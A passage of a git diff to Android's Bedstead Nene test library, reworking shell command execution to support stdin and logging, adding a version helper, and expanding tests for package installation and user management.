+    private static final int OUT_DESCRIPTOR_INDEX = 0;
+    private static final int IN_DESCRIPTOR_INDEX = 1;
+    private static final int ERR_DESCRIPTOR_INDEX = 2;
 
     private ShellCommandUtils() { }
 
@@ -45,24 +56,56 @@
      *
      * <p>Callers should be careful to check the command's output is valid.
      */
-    public static String executeCommand(String command) throws AdbException {
-        return executeCommand(command, /* allowEmptyOutput=*/ false);
+    static String executeCommand(String command) throws AdbException {
+        return executeCommand(command, /* allowEmptyOutput=*/ false, /* stdInBytes= */ null);
     }
 
-    static String executeCommand(String command, boolean allowEmptyOutput)
+    static String executeCommand(String command, boolean allowEmptyOutput, byte[] stdInBytes)
             throws AdbException {
-        if (SDK_INT < 31) { // TODO(scottjonathan): Replace with S
-            return executeCommandPreS(command, allowEmptyOutput);
+        logCommand(command, allowEmptyOutput, stdInBytes);
+
+        if (SDK_INT < Versions.S) {
+            return executeCommandPreS(command, allowEmptyOutput, stdInBytes);
         }
 
         // TODO(scottjonathan): Add argument to force errors to stderr
+        UiAutomation automation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
         try {
-            return SystemUtil.runShellCommandOrThrow(command);
-        } catch (AssertionError e) {
-            throw new AdbException("Error executing command", command, /* output= */ null, e);
+
+            ParcelFileDescriptor[] fds = automation.executeShellCommandRwe(command);
+            ParcelFileDescriptor fdOut = fds[OUT_DESCRIPTOR_INDEX];
+            ParcelFileDescriptor fdIn = fds[IN_DESCRIPTOR_INDEX];
+            ParcelFileDescriptor fdErr = fds[ERR_DESCRIPTOR_INDEX];
+
+            writeStdInAndClose(fdIn, stdInBytes);
+
+            String out = readStreamAndClose(fdOut);
+            String err = readStreamAndClose(fdErr);
+
+            if (!err.isEmpty()) {
+                throw new AdbException("Error executing command", command, out, err);
+            }
+
+            Log.d(LOG_TAG, "Command result: " + out);
+
+            return out;
+        } catch (IOException e) {
+            throw new AdbException("Error executing command", command, e);
         }
     }
 
+    private static void logCommand(String command, boolean allowEmptyOutput, byte[] stdInBytes) {
+        StringBuilder logBuilder = new StringBuilder("Executing shell command ");
+        logBuilder.append(command);
+        if (allowEmptyOutput) {
+            logBuilder.append(" (allow empty output)");
+        }
+        if (stdInBytes != null) {
+            logBuilder.append(" (writing to stdIn)");
+        }
+        Log.d(LOG_TAG, logBuilder.toString());
+    }
+
     /**
      * Execute an adb shell command and check that the output meets a given criteria.
      *
@@ -75,18 +118,20 @@
      * <p>{@code outputSuccessChecker} should return {@code true} if the output indicates the
      * command executed successfully.
      */
-    public static String executeCommandAndValidateOutput(
+    static String executeCommandAndValidateOutput(
             String command, Function<String, Boolean> outputSuccessChecker) throws AdbException {
         return executeCommandAndValidateOutput(command,
                 /* allowEmptyOutput= */ false,
+                /* stdInBytes= */ null,
                 outputSuccessChecker);
     }
 
     static String executeCommandAndValidateOutput(
             String command,
             boolean allowEmptyOutput,
+            byte[] stdInBytes,
             Function<String, Boolean> outputSuccessChecker) throws AdbException {
-        String output = executeCommand(command, allowEmptyOutput);
+        String output = executeCommand(command, allowEmptyOutput, stdInBytes);
         if (!outputSuccessChecker.apply(output)) {
             throw new AdbException("Command did not meet success criteria", command, output);
         }
@@ -94,34 +139,6 @@
     }
 
     /**
-     * Execute an adb shell command and check that the output meets a given criteria. Run the
-     * command repeatedly until the output meets the criteria.
-     *
-     * <p>On S and above, any output printed to standard error will result in an exception and the
-     * {@code outputSuccessChecker} not being called. Empty output will still be processed.
-     *
-     * <p>Prior to S, if there is no output on standard out, regardless of if there is output on
-     * standard error, {@code outputSuccessChecker} will not be called.
-     *
-     * <p>{@code outputSuccessChecker} should return {@code true} if the output indicates the
-     * command executed successfully.
-     */
-    public static String executeCommandUntilOutputValid(
-            String command, Function<String, Boolean> outputSuccessChecker)
-            throws AdbException, InterruptedException {
-        int attempts = 0;
-        while (attempts++ < MAX_WAIT_UNTIL_ATTEMPTS) {
-            try {
-                return executeCommandAndValidateOutput(command, outputSuccessChecker);
-            } catch (AdbException e) {
-                // ignore, will retry
-                Thread.sleep(WAIT_UNTIL_DELAY_MILLIS);
-            }
-        }
-        return executeCommandAndValidateOutput(command, outputSuccessChecker);
-    }
-
-    /**
      * Return {@code true} if {@code output} starts with "success", case insensitive.
      */
     public static boolean startsWithSuccess(String output) {
@@ -136,15 +153,48 @@
     }
 
     private static String executeCommandPreS(
-            String command, boolean allowEmptyOutput) throws AdbException {
+            String command, boolean allowEmptyOutput, byte[] stdInBytes) throws AdbException {
+        UiAutomation automation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        ParcelFileDescriptor[] fds = automation.executeShellCommandRw(command);
+        ParcelFileDescriptor fdOut = fds[OUT_DESCRIPTOR_INDEX];
+        ParcelFileDescriptor fdIn = fds[IN_DESCRIPTOR_INDEX];
 
-        String result = SystemUtil.runShellCommand(command);
+        try {
+            writeStdInAndClose(fdIn, stdInBytes);
 
-        if (!allowEmptyOutput && result.isEmpty()) {
+            try (FileInputStream fis = new ParcelFileDescriptor.AutoCloseInputStream(fdOut)) {
+                String out = new String(FileUtils.readInputStreamFully(fis));
+
+                if (!allowEmptyOutput && out.isEmpty()) {
+                    throw new AdbException(
+                            "No output from command. There's likely an error on stderr",
+                            command, out);
+                }
+
+                Log.d(LOG_TAG, "Command result: " + out);
+
+                return out;
+            }
+        } catch (IOException e) {
             throw new AdbException(
-                    "No output from command. There's likely an error on stderr", command, result);
+                    "Error reading command output", command, e);
         }
+    }
 
-        return result;
+    private static void writeStdInAndClose(ParcelFileDescriptor fdIn, byte[] stdInBytes)
+            throws IOException {
+        if (stdInBytes != null) {
+            try (FileOutputStream fos = new ParcelFileDescriptor.AutoCloseOutputStream(fdIn)) {
+                fos.write(stdInBytes);
+            }
+        } else {
+            fdIn.close();
+        }
+    }
+
+    private static String readStreamAndClose(ParcelFileDescriptor fd) throws IOException {
+        try (FileInputStream fis = new ParcelFileDescriptor.AutoCloseInputStream(fd)) {
+            return new String(FileUtils.readInputStreamFully(fis));
+        }
     }
 }
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/utils/Versions.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/utils/Versions.java
new file mode 100644
index 0000000..bc33792
--- /dev/null
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/utils/Versions.java
@@ -0,0 +1,45 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.nene.utils;
+
+import static android.os.Build.VERSION.SDK_INT;
+
+import android.os.Build;
+
+/** Version constants used when VERSION_CODES is not final. */
+public final class Versions {
+    // TODO(scottjonathan): Replace once S version is final
+    public static final int S = 31;
+
+    private Versions() {
+
+    }
+
+    /** Require that this is running on Android S or above. */
+    public static void requireS() {
+        if (!isRunningOn(S, "S")) {
+            throw new UnsupportedOperationException(
+                    "keepUninstalledPackages is only available on S+ (currently "
+                            + Build.VERSION.CODENAME + ")");
+        }
+    }
+
+    /** True if the app is running on the given Android version or above. */
+    public static boolean isRunningOn(int version, String codename) {
+        return (SDK_INT >= version || Build.VERSION.CODENAME.equals(codename));
+    }
+}
diff --git a/common/device-side/bedstead/nene/src/test/AndroidManifest.xml b/common/device-side/bedstead/nene/src/test/AndroidManifest.xml
index 8fd18c6..a82d39b 100644
--- a/common/device-side/bedstead/nene/src/test/AndroidManifest.xml
+++ b/common/device-side/bedstead/nene/src/test/AndroidManifest.xml
@@ -27,7 +27,7 @@
         <activity android:name="com.android.bedstead.nene.test.Activity" android:exported="false"/>
 
     </application>
-    <uses-sdk android:minSdkVersion="26" android:targetSdkVersion="26"/>
+    <uses-sdk android:minSdkVersion="27" android:targetSdkVersion="27"/>
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="com.android.bedstead.nene.test"
                      android:label="Nene Tests" />
diff --git a/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/packages/PackageReferenceTest.java b/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/packages/PackageReferenceTest.java
index 5cbde10..187d8df 100644
--- a/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/packages/PackageReferenceTest.java
+++ b/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/packages/PackageReferenceTest.java
@@ -38,6 +38,8 @@
     private static final String NON_EXISTING_PACKAGE_NAME = "com.package.does.not.exist";
     private static final String PACKAGE_NAME = NON_EXISTING_PACKAGE_NAME;
     private static final String EXISTING_PACKAGE_NAME = "com.android.providers.telephony";
+    private final PackageReference mTestAppReference =
+            mTestApis.packages().find(TEST_APP_PACKAGE_NAME);
 
     // Controlled by AndroidTest.xml
     private static final String TEST_APP_PACKAGE_NAME =
@@ -80,33 +82,52 @@
     }
 
     @Test
-    public void uninstall_packageIsUninstalled() {
-        mTestApis.packages().install(mUser, TEST_APP_APK_FILE);
-        PackageReference packageReference = mTestApis.packages().find(TEST_APP_PACKAGE_NAME);
-
-        packageReference.uninstall(mUser);
-
-        assertThat(packageReference.resolve()).isNull();
-    }
-
-    @Test
-    public void uninstall_packageNotInstalledForUser_throwsException() {
+    public void uninstall_packageIsInstalledForDifferentUser_isUninstalledForUser() {
         UserReference otherUser = mTestApis.users().createUser().createAndStart();
-        mTestApis.packages().install(mUser, TEST_APP_APK_FILE);
-        PackageReference packageReference = mTestApis.packages().find(TEST_APP_PACKAGE_NAME);
 
         try {
-            assertThrows(NeneException.class, () -> packageReference.uninstall(otherUser));
+            mTestApis.packages().install(mUser, TEST_APP_APK_FILE);
+            mTestApis.packages().install(otherUser, TEST_APP_APK_FILE);
+
+            mTestAppReference.uninstall(mUser);
+
+            assertThat(mTestAppReference.resolve().installedOnUsers()).containsExactly(otherUser);
         } finally {
-            packageReference.uninstall(mUser);
             otherUser.remove();
         }
     }
 
     @Test
-    public void uninstall_packageDoesNotExist_throwsException() {
+    public void uninstall_packageIsUninstalled() {
+        mTestApis.packages().install(mUser, TEST_APP_APK_FILE);
+
+        mTestAppReference.uninstall(mUser);
+
+        // Depending on when Android cleans up the users, this may either no longer resolve or
+        // just have an empty user list
+        Package pkg = mTestAppReference.resolve();
+        if (pkg != null) {
+            assertThat(pkg.installedOnUsers()).isEmpty();
+        }
+    }
+
+    @Test
+    public void uninstall_packageNotInstalledForUser_doesNotThrowException() {
+        UserReference otherUser = mTestApis.users().createUser().createAndStart();
+        mTestApis.packages().install(mUser, TEST_APP_APK_FILE);
+
+        try {
+            mTestAppReference.uninstall(otherUser);
+        } finally {
+            mTestAppReference.uninstall(mUser);
+            otherUser.remove();
+        }
+    }
+
+    @Test
+    public void uninstall_packageDoesNotExist_doesNotThrowException() {
         PackageReference packageReference = mTestApis.packages().find(NON_EXISTING_PACKAGE_NAME);
 
-        assertThrows(NeneException.class, () -> packageReference.uninstall(mUser));
+        packageReference.uninstall(mUser);
     }
 }
diff --git a/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/packages/PackagesTest.java b/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/packages/PackagesTest.java
index bd09b7e7..07e8a45 100644
--- a/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/packages/PackagesTest.java
+++ b/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/packages/PackagesTest.java
@@ -18,17 +18,23 @@
 
 import static com.google.common.truth.Truth.assertThat;
 
+import static org.junit.Assume.assumeTrue;
 import static org.testng.Assert.assertThrows;
 
 import com.android.bedstead.nene.TestApis;
 import com.android.bedstead.nene.exceptions.NeneException;
 import com.android.bedstead.nene.users.UserReference;
+import com.android.bedstead.nene.utils.Versions;
+import com.android.compatibility.common.util.FileUtils;
 
+import org.junit.Ignore;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 import org.junit.runners.JUnit4;
 
 import java.io.File;
+import java.io.FileInputStream;
+import java.io.IOException;
 
 @RunWith(JUnit4.class)
 public class PackagesTest {
@@ -39,14 +45,27 @@
     private static final String TEST_APP_PACKAGE_NAME =
             "com.android.bedstead.nene.testapps.TestApp1";
     private static final File TEST_APP_APK_FILE = new File("/data/local/tmp/NeneTestApp1.apk");
+    private static final byte[] TEST_APP_BYTES = loadBytes(TEST_APP_APK_FILE);
 
     private final TestApis mTestApis = new TestApis();
     private final UserReference mUser = mTestApis.users().instrumented();
     private final PackageReference mExistingPackage =
             mTestApis.packages().find("com.android.providers.telephony");
+    private final PackageReference mTestAppReference =
+            mTestApis.packages().find(TEST_APP_PACKAGE_NAME);
+    private final PackageReference mDifferentTestAppReference =
+            mTestApis.packages().find(NON_EXISTING_PACKAGE);
     private final UserReference mNonExistingUser = mTestApis.users().find(99999);
     private final File mApkFile = new File("");
 
+    private static byte[] loadBytes(File file) {
+        try (FileInputStream fis = new FileInputStream(file)) {
+            return FileUtils.readInputStreamFully(fis);
+        } catch (IOException e) {
+            throw new AssertionError("Could not read file bytes");
+        }
+    }
+
     @Test
     public void construct_nullTestApis_throwsException() {
         assertThrows(NullPointerException.class, () -> new Packages(/* testApis= */ null));
@@ -91,12 +110,11 @@
     @Test
     public void installedForUser_containsPackageInstalledForUser() {
         mTestApis.packages().install(mUser, TEST_APP_APK_FILE);
-        PackageReference packageReference = mTestApis.packages().find(TEST_APP_PACKAGE_NAME);
 
         try {
-            assertThat(mTestApis.packages().installedForUser(mUser)).contains(packageReference);
+            assertThat(mTestApis.packages().installedForUser(mUser)).contains(mTestAppReference);
         } finally {
-            packageReference.uninstall(mUser);
+            mTestAppReference.uninstall(mUser);
         }
     }
 
@@ -104,13 +122,12 @@
     public void installedForUser_doesNotContainPackageNotInstalledForUser() {
         UserReference otherUser = mTestApis.users().createUser().create();
         mTestApis.packages().install(mUser, TEST_APP_APK_FILE);
-        PackageReference packageReference = mTestApis.packages().find(TEST_APP_PACKAGE_NAME);
 
         try {
             assertThat(mTestApis.packages().installedForUser(otherUser))
-                    .doesNotContain(packageReference);
+                    .doesNotContain(mTestAppReference);
         } finally {
-            packageReference.uninstall(mUser);
+            mTestAppReference.uninstall(mUser);
             otherUser.remove();
         }
     }
@@ -122,21 +139,44 @@
     }
 
     @Test
+    public void install_byteArray_nullUser_throwsException() {
+        assertThrows(NullPointerException.class,
+                () -> mTestApis.packages().install(/* user= */ null, TEST_APP_BYTES));
+    }
+
+    @Test
     public void install_nullApkFile_throwsException() {
         assertThrows(NullPointerException.class,
                 () -> mTestApis.packages().install(mUser, (File) /* apkFile= */ null));
     }
 
     @Test
+    public void install_nullByteArray_throwsException() {
+        assertThrows(NullPointerException.class,
+                () -> mTestApis.packages().install(mUser, (byte[]) /* apkFile= */ null));
+    }
+
+    @Test
     public void install_instrumentedUser_isInstalled() {
         mTestApis.packages().install(mTestApis.users().instrumented(), TEST_APP_APK_FILE);
-        PackageReference packageReference = mTestApis.packages().find(TEST_APP_PACKAGE_NAME);
 
         try {
-            assertThat(packageReference.resolve().installedOnUsers())
+            assertThat(mTestAppReference.resolve().installedOnUsers())
                     .contains(mTestApis.users().instrumented());
         } finally {
-            packageReference.uninstall(mTestApis.users().instrumented());
+            mTestAppReference.uninstall(mTestApis.users().instrumented());
+        }
+    }
+
+    @Test
+    public void install_byteArray_instrumentedUser_isInstalled() {
+        mTestApis.packages().install(mTestApis.users().instrumented(), TEST_APP_BYTES);
+
+        try {
+            assertThat(mTestAppReference.resolve().installedOnUsers())
+                    .contains(mTestApis.users().instrumented());
+        } finally {
+            mTestAppReference.uninstall(mTestApis.users().instrumented());
         }
     }
 
@@ -144,10 +184,21 @@
     public void install_differentUser_isInstalled() {
         UserReference user = mTestApis.users().createUser().createAndStart();
         mTestApis.packages().install(user, TEST_APP_APK_FILE);
-        PackageReference packageReference = mTestApis.packages().find(TEST_APP_PACKAGE_NAME);
 
         try {
-            assertThat(packageReference.resolve().installedOnUsers()).contains(user);
+            assertThat(mTestAppReference.resolve().installedOnUsers()).contains(user);
+        } finally {
+            user.remove();
+        }
+    }
+
+    @Test
+    public void install_byteArray_differentUser_isInstalled() {
+        UserReference user = mTestApis.users().createUser().createAndStart();
+        mTestApis.packages().install(user, TEST_APP_BYTES);
+
+        try {
+            assertThat(mTestAppReference.resolve().installedOnUsers()).contains(user);
         } finally {
             user.remove();
         }
@@ -166,37 +217,162 @@
     }
 
     @Test
+    public void install_byteArray_userNotStarted_throwsException() {
+        UserReference user = mTestApis.users().createUser().create().stop();
+
+        try {
+            assertThrows(NeneException.class, () -> mTestApis.packages().install(user,
+                    TEST_APP_BYTES));
+        } finally {
+            user.remove();
+        }
+    }
+
+    @Test
     public void install_userDoesNotExist_throwsException() {
         assertThrows(NeneException.class, () -> mTestApis.packages().install(mNonExistingUser,
                 TEST_APP_APK_FILE));
     }
 
     @Test
+    public void install_byteArray_userDoesNotExist_throwsException() {
+        assertThrows(NeneException.class, () -> mTestApis.packages().install(mNonExistingUser,
+                TEST_APP_BYTES));
+    }
+
+    @Test
     public void install_alreadyInstalledForUser_installs() {
         mTestApis.packages().install(mUser, TEST_APP_APK_FILE);
-        PackageReference packageReference = mTestApis.packages().find(TEST_APP_PACKAGE_NAME);
 
         try {
             mTestApis.packages().install(mUser, TEST_APP_APK_FILE);
-            assertThat(packageReference.resolve().installedOnUsers()).contains(mUser);
+            assertThat(mTestAppReference.resolve().installedOnUsers()).contains(mUser);
         } finally {
-            packageReference.uninstall(mUser);
+            mTestAppReference.uninstall(mUser);
+        }
+    }
+
+    @Test
+    public void install_byteArray_alreadyInstalledForUser_installs() {
+        mTestApis.packages().install(mUser, TEST_APP_BYTES);
+
+        try {
+            mTestApis.packages().install(mUser, TEST_APP_BYTES);
+            assertThat(mTestAppReference.resolve().installedOnUsers()).contains(mUser);
+        } finally {
+            mTestAppReference.uninstall(mUser);
         }
     }
 
     @Test
     public void install_alreadyInstalledOnOtherUser_installs() {
         UserReference otherUser = mTestApis.users().createUser().createAndStart();
-        PackageReference packageReference = mTestApis.packages().find(TEST_APP_PACKAGE_NAME);
         try {
             mTestApis.packages().install(otherUser, TEST_APP_APK_FILE);
 
             mTestApis.packages().install(mUser, TEST_APP_APK_FILE);
 
-            assertThat(packageReference.resolve().installedOnUsers()).contains(mUser);
+            assertThat(mTestAppReference.resolve().installedOnUsers()).contains(mUser);
         } finally {
-            packageReference.uninstall(mUser);
+            mTestAppReference.uninstall(mUser);
             otherUser.remove();
         }
     }
+
+    @Test
+    public void install_byteArray_alreadyInstalledOnOtherUser_installs() {
+        UserReference otherUser = mTestApis.users().createUser().createAndStart();
+        try {
+            mTestApis.packages().install(otherUser, TEST_APP_BYTES);
+
+            mTestApis.packages().install(mUser, TEST_APP_BYTES);
+
+            assertThat(mTestAppReference.resolve().installedOnUsers()).contains(mUser);
+        } finally {
+            mTestAppReference.uninstall(mUser);
+            otherUser.remove();
+        }
+    }
+
+    @Test
+    public void keepUninstalledPackages_packageIsUninstalled_packageStillResolves() {
+        assumeTrue("keepUninstalledPackages is only supported on S+",
+                Versions.isRunningOn(Versions.S, "S"));
+
+        mTestApis.packages().install(mUser, TEST_APP_APK_FILE);
+        mTestApis.packages().keepUninstalledPackages()
+                .add(mTestAppReference)
+                .commit();
+
+        try {
+            mTestAppReference.uninstall(mUser);
+
+            assertThat(mTestAppReference.resolve()).isNotNull();
+        } finally {
+            mTestApis.packages().keepUninstalledPackages().clear();
+        }
+    }
+
+    @Test
+    @Ignore("While using adb calls this is not reliable, enable once we use framework calls for uninstall")
+    public void keepUninstalledPackages_packageRemovedFromList_packageIsUninstalled_packageDoesNotResolve() {
+        assumeTrue("keepUninstalledPackages is only supported on S+",
+                Versions.isRunningOn(Versions.S, "S"));
+
+        mTestApis.packages().install(mUser, TEST_APP_APK_FILE);
+        mTestApis.packages().keepUninstalledPackages()
+                .add(mTestAppReference)
+                .commit();
+        mTestApis.packages().keepUninstalledPackages()
+                .add(mDifferentTestAppReference)
+                .commit();
+
+        try {
+            mTestAppReference.uninstall(mUser);
+
+            assertThat(mTestAppReference.resolve()).isNull();
+        } finally {
+            mTestApis.packages().keepUninstalledPackages().clear();
+        }
+    }
+
+    @Test
+    @Ignore("While using adb calls this is not reliable, enable once we use framework calls for uninstall")
+    public void keepUninstalledPackages_cleared_packageIsUninstalled_packageDoesNotResolve() {
+        assumeTrue("keepUninstalledPackages is only supported on S+",
+                Versions.isRunningOn(Versions.S, "S"));
+
+        mTestApis.packages().install(mUser, TEST_APP_APK_FILE);
+
+        mTestApis.packages().keepUninstalledPackages()
+                .add(mTestAppReference)
+                .commit();
+        mTestApis.packages().keepUninstalledPackages().clear();
+
+        try {
+            mTestAppReference.uninstall(mUser);
+
+            assertThat(mTestAppReference.resolve()).isNull();
+        } finally {
+            mTestApis.packages().keepUninstalledPackages().clear();
+        }
+    }
+
+    @Test
+    @Ignore("While using adb calls this is not reliable, enable once we use framework calls for uninstall")
+    public void keepUninstalledPackages_packageRemovedFromList_packageAlreadyUninstalled_packageDoesNotResolve() {
+        assumeTrue("keepUninstalledPackages is only supported on S+",
+                Versions.isRunningOn(Versions.S, "S"));
+
+        mTestApis.packages().install(mUser, TEST_APP_APK_FILE);
+        mTestApis.packages().keepUninstalledPackages().add(mTestAppReference).commit();
+        mTestAppReference.uninstall(mUser);
+        mTestApis.packages().keepUninstalledPackages().add(mDifferentTestAppReference).commit();
+
+        try {
+            assertThat(mTestAppReference.resolve()).isNull();
+        } finally {
+            mTestApis.packages().keepUninstalledPackages().clear();
+        }
+    }
 }
diff --git a/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/users/UserReferenceTest.java b/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/users/UserReferenceTest.java
index 4d143d6..3ac74b0 100644
--- a/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/users/UserReferenceTest.java
+++ b/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/users/UserReferenceTest.java
@@ -51,26 +51,25 @@
     private static final String TEST_ACTIVITY_NAME = "com.android.bedstead.nene.test.Activity";
 
     private final TestApis mTestApis = new TestApis();
-    private final Users mUsers = mTestApis.users();
 
     @Test
     public void id_returnsId() {
-        assertThat(mUsers.find(USER_ID).id()).isEqualTo(USER_ID);
+        assertThat(mTestApis.users().find(USER_ID).id()).isEqualTo(USER_ID);
     }
 
     @Test
     public void userHandle_referencesId() {
-        assertThat(mUsers.find(USER_ID).userHandle().getIdentifier()).isEqualTo(USER_ID);
+        assertThat(mTestApis.users().find(USER_ID).userHandle().getIdentifier()).isEqualTo(USER_ID);
     }
 
     @Test
     public void resolve_doesNotExist_returnsNull() {
-        assertThat(mUsers.find(NON_EXISTING_USER_ID).resolve()).isNull();
+        assertThat(mTestApis.users().find(NON_EXISTING_USER_ID).resolve()).isNull();
     }
 
     @Test
     public void resolve_doesExist_returnsUser() {
-        UserReference userReference = mUsers.createUser().create();
+        UserReference userReference = mTestApis.users().createUser().create();
 
         try {
             assertThat(userReference.resolve()).isNotNull();
@@ -81,7 +80,7 @@
 
     @Test
     public void resolve_doesExist_userHasCorrectDetails() {
-        UserReference userReference = mUsers.createUser().name(USER_NAME).create();
+        UserReference userReference = mTestApis.users().createUser().name(USER_NAME).create();
 
         try {
             User user = userReference.resolve();
@@ -93,26 +92,27 @@
 
     @Test
     public void remove_userDoesNotExist_throwsException() {
-        assertThrows(NeneException.class, () -> mUsers.find(USER_ID).remove());
+        assertThrows(NeneException.class, () -> mTestApis.users().find(USER_ID).remove());
     }
 
     @Test
     public void remove_userExists_removesUser() {
-        UserReference user = mUsers.createUser().create();
+        UserReference user = mTestApis.users().createUser().create();
 
         user.remove();
 
-        assertThat(mUsers.all().stream().anyMatch(u -> u.id() == user.id())).isFalse();
+        assertThat(mTestApis.users().all()).doesNotContain(user);
     }
 
     @Test
     public void start_userDoesNotExist_throwsException() {
-        assertThrows(NeneException.class, () -> mUsers.find(NON_EXISTING_USER_ID).start());
+        assertThrows(NeneException.class,
+                () -> mTestApis.users().find(NON_EXISTING_USER_ID).start());
     }
 
     @Test
     public void start_userNotStarted_userIsStarted() {
-        UserReference user = mUsers.createUser().create().stop();
+        UserReference user = mTestApis.users().createUser().create().stop();
 
         user.start();
 
@@ -125,7 +125,7 @@
 
     @Test
     public void start_userAlreadyStarted_doesNothing() {
-        UserReference user = mUsers.createUser().createAndStart();
+        UserReference user = mTestApis.users().createUser().createAndStart();
 
         user.start();
 
@@ -138,12 +138,13 @@
 
     @Test
     public void stop_userDoesNotExist_throwsException() {
-        assertThrows(NeneException.class, () -> mUsers.find(NON_EXISTING_USER_ID).stop());
+        assertThrows(NeneException.class,
+                () -> mTestApis.users().find(NON_EXISTING_USER_ID).stop());
     }
 
     @Test
     public void stop_userStarted_userIsStopped() {
-        UserReference user = mUsers.createUser().createAndStart();
+        UserReference user = mTestApis.users().createUser().createAndStart();
 
         user.stop();
 
@@ -156,7 +157,7 @@
 
     @Test
     public void stop_userNotStarted_doesNothing() {
-        UserReference user = mUsers.createUser().create().stop();
+        UserReference user = mTestApis.users().createUser().create().stop();
 
         user.stop();
 
@@ -168,12 +169,12 @@
     }
 
     @Test
-    public void switchTo_userIsSwitched() throws Exception {
+    public void switchTo_userIsSwitched() {
         assumeTrue(
                 "Adopting Shell Permissions only works for Q+", SDK_INT >= Build.VERSION_CODES.Q);
         // TODO(scottjonathan): In this case we can probably grant the permission through adb?
 
-        UserReference user = mUsers.createUser().createAndStart();
+        UserReference user = mTestApis.users().createUser().createAndStart();
         try {
             SystemUtil.runWithShellPermissionIdentity(() -> {
                 // for INTERACT_ACROSS_USERS
@@ -194,8 +195,26 @@
                 assertThat(logs.poll()).isNotNull();
             });
         } finally {
-            mUsers.system().switchTo();
+            mTestApis.users().system().switchTo();
             user.remove();
         }
     }
+
+    @Test
+    public void stop_isWorkProfileOfCurrentUser_stops() {
+        UserType managedProfileType =
+                mTestApis.users().supportedType(UserType.MANAGED_PROFILE_TYPE_NAME);
+        UserReference profileUser = mTestApis.users().createUser()
+                .type(managedProfileType)
+                .parent(mTestApis.users().instrumented())
+                .createAndStart();
+
+        try {
+            profileUser.stop();
+
+            assertThat(profileUser.resolve().state()).isEqualTo(User.UserState.NOT_RUNNING);
+        } finally {
+            profileUser.remove();
+        }
+    }
 }
diff --git a/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/users/UserTest.java b/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/users/UserTest.java
index b87965c..0d8a1b3 100644
--- a/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/users/UserTest.java
+++ b/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/users/UserTest.java
@@ -20,6 +20,8 @@
 
 import static org.testng.Assert.assertThrows;
 
+import com.android.bedstead.nene.TestApis;
+
 import org.junit.Ignore;
 import org.junit.Test;
 import org.junit.runner.RunWith;
@@ -34,13 +36,13 @@
     private static final UserType USER_TYPE = new UserType(new UserType.MutableUserType());
     private static final String USER_NAME = "userName";
 
-    private final Users mUsers = new Users();
+    private final TestApis mTestApis = new TestApis();
 
     @Test
     public void id_returnsId() {
         User.MutableUser mutableUser = createValidMutableUser();
         mutableUser.mId = USER_ID;
-        User user = new User(mUsers, mutableUser);
+        User user = new User(mTestApis.users(), mutableUser);
 
         assertThat(user.id()).isEqualTo(USER_ID);
     }
@@ -50,14 +52,14 @@
         User.MutableUser mutableUser = createValidMutableUser();
         mutableUser.mId = null;
 
-        assertThrows(NullPointerException.class, () -> new User(mUsers, mutableUser));
+        assertThrows(NullPointerException.class, () -> new User(mTestApis.users(), mutableUser));
     }
 
     @Test
     public void serialNo_returnsSerialNo() {
         User.MutableUser mutableUser = createValidMutableUser();
         mutableUser.mSerialNo = SERIAL_NO;
-        User user = new User(mUsers, mutableUser);
+        User user = new User(mTestApis.users(), mutableUser);
 
         assertThat(user.serialNo()).isEqualTo(SERIAL_NO);
     }
@@ -65,7 +67,7 @@
     @Test
     public void serialNo_notSet_returnsNull() {
         User.MutableUser mutableUser = createValidMutableUser();
-        User user = new User(mUsers, mutableUser);
+        User user = new User(mTestApis.users(), mutableUser);
 
         assertThat(user.serialNo()).isNull();
     }
@@ -74,7 +76,7 @@
     public void name_returnsName() {
         User.MutableUser mutableUser = createValidMutableUser();
         mutableUser.mName = USER_NAME;
-        User user = new User(mUsers, mutableUser);
+        User user = new User(mTestApis.users(), mutableUser);
 
         assertThat(user.name()).isEqualTo(USER_NAME);
     }
@@ -82,7 +84,7 @@
     @Test
     public void name_notSet_returnsNull() {
         User.MutableUser mutableUser = createValidMutableUser();
-        User user = new User(mUsers, mutableUser);
+        User user = new User(mTestApis.users(), mutableUser);
 
         assertThat(user.name()).isNull();
     }
@@ -91,7 +93,7 @@
     public void type_returnsName() {
         User.MutableUser mutableUser = createValidMutableUser();
         mutableUser.mType = USER_TYPE;
-        User user = new User(mUsers, mutableUser);
+        User user = new User(mTestApis.users(), mutableUser);
 
         assertThat(user.type()).isEqualTo(USER_TYPE);
     }
@@ -99,7 +101,7 @@
     @Test
     public void type_notSet_returnsNull() {
         User.MutableUser mutableUser = createValidMutableUser();
-        User user = new User(mUsers, mutableUser);
+        User user = new User(mTestApis.users(), mutableUser);
 
         assertThat(user.type()).isNull();
     }
@@ -108,7 +110,7 @@
     public void hasProfileOwner_returnsHasProfileOwner() {
         User.MutableUser mutableUser = createValidMutableUser();
         mutableUser.mHasProfileOwner = true;
